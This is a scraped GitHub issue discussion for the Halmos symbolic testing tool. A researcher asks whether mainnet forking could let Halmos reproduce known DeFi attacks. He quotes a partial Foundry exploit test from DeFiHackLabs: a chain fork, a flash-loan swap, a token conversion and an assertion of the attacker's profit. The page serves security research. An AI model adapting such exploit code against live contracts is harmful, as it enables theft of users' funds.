Comments (2)
@daejunpark
Dear author,
Thanks for your timely reply.
This functionality will help the community to re-produce existing attacks, such as events collected in DeFiHackLabs
In particular, considering the following attack:
Source Link
function setUp() public {
cheats.createSelectFork("Avalanche", 23435294);
}
function testExploit(FlashLoanAmount: uint256) public{
MU.approve(address(Router), type(uint).max);
MUG.approve(address(Router), type(uint).max);
USDC_e.approve(address(Router), type(uint).max);
USDC_e.approve(address(Bank), type(uint).max);
// original code: FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;
Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));
MUGToUSDC_e();
assert(USDC_e.balanceOf(address(this)) >= 10e8);
emit log_named_decimal_uint(
"[End] Attacker USDC.e balance after exploit",
USDC_e.balanceOf(address(this)),
6
);
}
function xxx;
As a researcher, I wonder whether Halmos could generate a counter-example to make the attack happen(Re-produce the actual attack). But it will be time-cost to initialize the blockchain state instead of forking it from the blockchain directly.
from halmos.
https://github.com/a16z/halmos/wiki/FAQ#does-halmos-provide-support-for-mainnet-forking
Could you please provide more context on the use cases that you have in mind?
from halmos.
Related Issues (20)
- Create a halmos Docker image with multiple solvers preinstalled HOT 2
- support multiple values for --array-lengths option
- foundry build cache is disabled with --build-info (it always rebuilds) HOT 2
- FAQ section
- Add `cancun` support HOT 4
- Support properties of the form `must always emit an event when storage is updated ` HOT 3
- Incremental verification
- Quick benchmark for pysmt HOT 1
- Stateful testing: use state summaries
- Unsupported cheatcode error HOT 2
- extcodehash behave as a symbolic value HOT 2
- Weird issue testing Huff ERC20 HOT 2
- Halmos thinks all paths will revert even though I can hardcode a counter example, due to loops
- use overflow predicates for arithmetic overflow conditions
- WARNING:halmos:path.append(false) in Damn Vulnerable Defi - NaiveReceiver.t.sol HOT 3
- Messages for unknown calls
- Drop --bytecode pipeline
- halmos v2 planning
- handle truncated hashes
- calling ds-test/test.sol's `failed()` results in 'NoneType' object has no attribute 'size' HOT 5
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from halmos.